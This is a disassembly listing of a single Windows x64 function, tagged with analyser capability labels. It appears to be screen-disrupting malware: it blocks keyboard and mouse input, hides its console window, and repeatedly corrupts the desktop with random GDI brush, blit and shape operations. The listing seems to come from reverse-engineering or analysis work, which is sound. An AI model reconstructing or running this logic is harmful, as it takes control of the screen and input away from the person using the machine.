Function at 0x140001000
Capabilities:
Capture screenshot
Check for foreground window switch

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xb0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xa0], rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor ecx, ecx
mov qword [rsp + 0x78], rax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov dword [rsp + 0x64], eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov dword [rsp + 0x60], eax
call qword [sym.imp.USER32.dll_BlockInput]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov dword [rsp + 0x70], eax
mov r13d, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r12d, eax
mov dword [rsp + 0x68], eax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
sub r8d, ecx
cmp r8d, 2
jne 0x14000115b
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx edi, r8b
shl edi, 8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx esi, r8b
shl esi, 0x10
or esi, edi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
jmp 0x1400011f3
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
sub r8d, ecx
cmp r8d, 1
jne 0x140001253
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x1b4e81b5
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x4b
sub r8d, ecx
movzx edi, r8b
shl edi, 8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x1b4e81b5
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x4b
sub r8d, ecx
movzx esi, r8b
shl esi, 0x10
or esi, edi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x1b4e81b5
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x4b
sub r8d, ecx
movzx ecx, r8b
or ecx, esi
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.GDI32.dll_SelectObject]
mov r9d, r13d
mov dword [rsp + 0x28], 0x5a0049
xor r8d, r8d
mov dword [rsp + 0x20], r12d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.GDI32.dll_PatBlt]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x10624dd3
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3e8
sub ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x19
sub r8d, ecx
cmp r8d, 9
jne 0x14000132b
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx edi, r8b
shl edi, 8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx esi, r8b
shl esi, 0x10
or esi, edi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx ecx, r8b
or ecx, esi
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.GDI32.dll_SelectObject]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400013ea
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x19
sub r8d, ecx
cmp r8d, 5
jne 0x1400013ea
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x4fec04ff
imul r8d
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xcd
sub r8d, ecx
movzx edi, r8b
shl edi, 8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x4fec04ff
imul r8d
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xcd
sub r8d, ecx
movzx esi, r8b
shl esi, 0x10
or esi, edi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x4fec04ff
imul r8d
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xcd
sub r8d, ecx
movzx ecx, r8b
or ecx, esi
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.GDI32.dll_SelectObject]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000001
jge 0x1400013fe
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x140001499
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r12d
mov edi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, edi
mov rcx, rbx
cdq
idiv r13d
call qword [sym.imp.GDI32.dll_LineTo]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r12d
mov r15d, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r13d
mov r14d, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r12d
mov ebp, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r13d
mov esi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r12d
mov edi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x30], r15d
mov r9d, esi
cdq
mov dword [rsp + 0x28], r14d
idiv r13d
mov r8d, edi
mov dword [rsp + 0x20], ebp
mov rcx, rbx
call qword [sym.imp.GDI32.dll_RoundRect]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000001
jge 0x1400014ad
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x14000154d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r12d
mov edi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, edi
mov rcx, rbx
cdq
idiv r13d
call qword [sym.imp.GDI32.dll_LineTo]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r12d
mov r15d, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r13d
mov r14d, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r12d
mov ebp, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r13d
mov esi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r12d
mov edi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x30], r15d
mov r9d, esi
cdq
mov dword [rsp + 0x28], r14d
idiv r13d
mov r8d, edi
mov dword [rsp + 0x20], ebp
mov rcx, rbx
call qword [sym.imp.GDI32.dll_RoundRect]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001677
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000001
jge 0x140001561
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 2
jne 0x140001677
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor ecx, ecx
mov r12, rax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov r15d, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov edi, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r15d
mov r14d, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv edi
mov ebp, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx edi, r8b
shl edi, 8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx esi, r8b
shl esi, 0x10
or esi, edi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx ecx, r8b
or ecx, esi
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov dword [rsp + 0x50], 0x5a0049
mov r9d, r15d
mov dword [rsp + 0x48], 1
xor r8d, r8d
mov dword [rsp + 0x40], 1
xor edx, edx
mov dword [rsp + 0x38], ebp
mov rcx, r12
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r14d
call qword [sym.imp.GDI32.dll_StretchBlt]
mov r12d, dword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 7
sub r8d, ecx
cmp r8d, 5
jne 0x140001886
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor ecx, ecx
mov r15, rax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov r14d, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebp, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv ebp
mov edi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x50], 0xcc0020
xor esi, esi
mov dword [rsp + 0x48], ebp
cdq
mov dword [rsp + 0x40], r14d
mov r9d, r14d
mov dword [rsp + 0x38], esi
mov r8d, edi
idiv r14d
mov dword [rsp + 0x30], esi
mov rcx, r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], ebp
call qword [sym.imp.GDI32.dll_StretchBlt]
mov dword [rsp + 0x50], 0xee0086
lea eax, [rbp - 0x14]
mov dword [rsp + 0x48], ebp
lea r9d, [r14 - 0x14]
mov dword [rsp + 0x40], r14d
mov edx, 0xa
mov dword [rsp + 0x38], esi
mov r8d, edx
mov dword [rsp + 0x30], esi
mov rcx, r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], eax
call qword [sym.imp.GDI32.dll_StretchBlt]
mov dword [rsp + 0x50], 0xee0086
lea eax, [rbp + 0x14]
mov dword [rsp + 0x48], ebp
lea r9d, [r14 + 0x14]
mov dword [rsp + 0x40], r14d
mov edx, 0xfffffff6
mov dword [rsp + 0x38], esi
mov r8d, edx
mov dword [rsp + 0x30], esi
mov rcx, r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], eax
call qword [sym.imp.GDI32.dll_StretchBlt]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv ebp
mov edi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x50], 0x660046
mov r9d, r14d
mov dword [rsp + 0x48], ebp
cdq
idiv r14d
mov dword [rsp + 0x40], r14d
xor r8d, r8d
mov dword [rsp + 0x38], edi
mov rcx, r15
mov dword [rsp + 0x30], edx
xor edx, edx
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], ebp
call qword [sym.imp.GDI32.dll_StretchBlt]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx edi, r8b
shl edi, 8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx esi, r8b
shl esi, 0x10
or esi, edi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx ecx, r8b
or ecx, esi
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov r9d, r14d
mov dword [rsp + 0x28], 0x5a0049
xor r8d, r8d
mov dword [rsp + 0x20], ebp
xor edx, edx
mov rcx, r15
call qword [sym.imp.GDI32.dll_PatBlt]
mov r14d, 1
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx edi, r8b
shl edi, 8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx esi, r8b
shl esi, 0x10
or esi, edi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx ecx, r8b
or ecx, esi
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.GDI32.dll_SelectObject]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ebp, eax
mov eax, 0x66666667
imul ebp
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub ebp, ecx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov esi, eax
mov eax, 0x66666667
imul esi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub esi, ecx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub edi, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 2
mov r9d, r13d
mov eax, edx
mov dword [rsp + 0x40], 0x98123c
shr eax, 0x1f
mov r8d, edi
add edx, eax
mov dword [rsp + 0x38], ebp
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], r12d
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
mov edx, ecx
mov rcx, rbx
call qword [sym.imp.GDI32.dll_BitBlt]
inc r14d
mov eax, 0x99999999
imul r14d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [r14 + rdx]
lea r14d, [rax + rdx*4]
test r14d, r14d
jne 0x140001890
mov r14d, 1
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx edi, r8b
shl edi, 8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx esi, r8b
shl esi, 0x10
or esi, edi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx ecx, r8b
or ecx, esi
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.GDI32.dll_SelectObject]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ebp, eax
mov eax, 0x66666667
imul ebp
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub ebp, ecx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov esi, eax
mov eax, 0x66666667
imul esi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub esi, ecx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub edi, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 2
mov r9d, r13d
mov eax, edx
mov dword [rsp + 0x40], 0x98123c
shr eax, 0x1f
mov r8d, edi
add edx, eax
mov dword [rsp + 0x38], ebp
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], r12d
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
mov edx, ecx
mov rcx, rbx
call qword [sym.imp.GDI32.dll_BitBlt]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
inc r14d
mov eax, 0x99999999
imul r14d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [r14 + rdx]
lea r14d, [rax + rdx*4]
test r14d, r14d
jne 0x140001a03
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv dword [rsp + 0x60]
mov edi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov esi, 1
idiv dword [rsp + 0x60]
sub esi, edx
mov dword [rsp + 0x6c], esi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov rbp, qword [rsp + 0x78]
mov r8d, edi
mov r9d, dword [rsp + 0x64]
xor edx, edx
mov dword [rsp + 0x40], 0xcc0020
mov rcx, rbp
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], 0xffffffff
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], esi
call qword [sym.imp.GDI32.dll_BitBlt]
mov dword [rsp + 0x28], 0x5a0049
lea edx, [r14 - 1]
mov dword [rsp + 0x20], esi
mov r8d, edi
mov esi, dword [rsp + 0x64]
mov rcx, rbp
mov r9d, esi
call qword [sym.imp.GDI32.dll_PatBlt]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
cmp r8d, 1
jne 0x140001cae
mov dword [rsp + 0x50], 0xcc0020
lea r9d, [r13 + 0x14]
mov dword [rsp + 0x48], r12d
xor eax, eax
mov dword [rsp + 0x40], r13d
mov edx, 0xfffffff6
mov dword [rsp + 0x38], eax
mov r8d, edx
mov dword [rsp + 0x30], eax
mov rcx, rbx
lea eax, [r12 + 0x14]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
call qword [sym.imp.GDI32.dll_StretchBlt]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x10624dd3
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3e8
sub ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDC]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowDC]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r15d, eax
mov eax, 0x66666667
imul r15d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r15d, ecx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r14d, eax
mov eax, 0x88888889
imul r14d
add edx, r14d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xf
sub r14d, ecx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv dword [rsp + 0x60]
mov ebp, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv esi
mov esi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x88888889
imul edi
add edx, edi
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xf
sub edi, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x40], 0xcc0020
mov r9d, esi
mov ecx, eax
mov dword [rsp + 0x38], r15d
mov eax, 0x88888889
mov dword [rsp + 0x30], r14d
imul ecx
mov r8d, edi
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xf
sub ecx, eax
mov rax, qword [rsp + 0x78]
mov edx, ecx
mov qword [rsp + 0x28], rax
mov rcx, rax
mov dword [rsp + 0x20], ebp
call qword [sym.imp.GDI32.dll_BitBlt]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r15d, eax
mov eax, 0x66666667
imul r15d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r15d, ecx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r14d, eax
mov eax, 0x88888889
imul r14d
add edx, r14d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xf
sub r14d, ecx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv dword [rsp + 0x60]
mov ebp, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv dword [rsp + 0x64]
mov esi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x88888889
imul edi
add edx, edi
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xf
sub edi, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x40], 0x8800c6
mov r9d, esi
mov ecx, eax
mov dword [rsp + 0x38], r15d
mov eax, 0x88888889
mov dword [rsp + 0x30], r14d
imul ecx
mov r8d, edi
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xf
sub ecx, eax
mov rax, qword [rsp + 0x78]
mov edx, ecx
mov qword [rsp + 0x28], rax
mov rcx, rax
mov dword [rsp + 0x20], ebp
call qword [sym.imp.GDI32.dll_BitBlt]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDC]
xor ecx, ecx
mov qword [rsp + 0x80], rax
mov rdi, rax
call qword [sym.imp.USER32.dll_GetDC]
mov dword [rsp + 0x40], 0x999999
mov edx, 0xffffffff
mov dword [rsp + 0x38], 2
mov r9d, r13d
mov dword [rsp + 0x30], 2
mov rcx, rax
mov qword [rsp + 0x28], rdi
lea r8d, [rdx + 2]
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x20], r12d
call qword [sym.imp.GDI32.dll_BitBlt]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.USER32.dll_GetWindowDC]
lea rdx, [rsp + 0x90]
mov rcx, rdi
mov r12, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov r13d, dword [rsp + 0x98]
sub r13d, dword [rsp + 0x90]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r15d, eax
mov eax, 0x66666667
imul r15d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r15d, ecx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r14d, eax
mov eax, 0x66666667
imul r14d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r14d, ecx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv dword [rsp + 0x60]
mov ebp, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv dword [rsp + 0x64]
mov esi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub edi, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x40], 0xcc0020
mov r9d, esi
mov ecx, eax
mov dword [rsp + 0x38], r15d
mov eax, 0x66666667
mov dword [rsp + 0x30], r14d
imul ecx
mov qword [rsp + 0x28], r12
mov r8d, edi
sar edx, 1
mov eax, edx
mov dword [rsp + 0x20], ebp
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
mov edx, ecx
mov rcx, r12
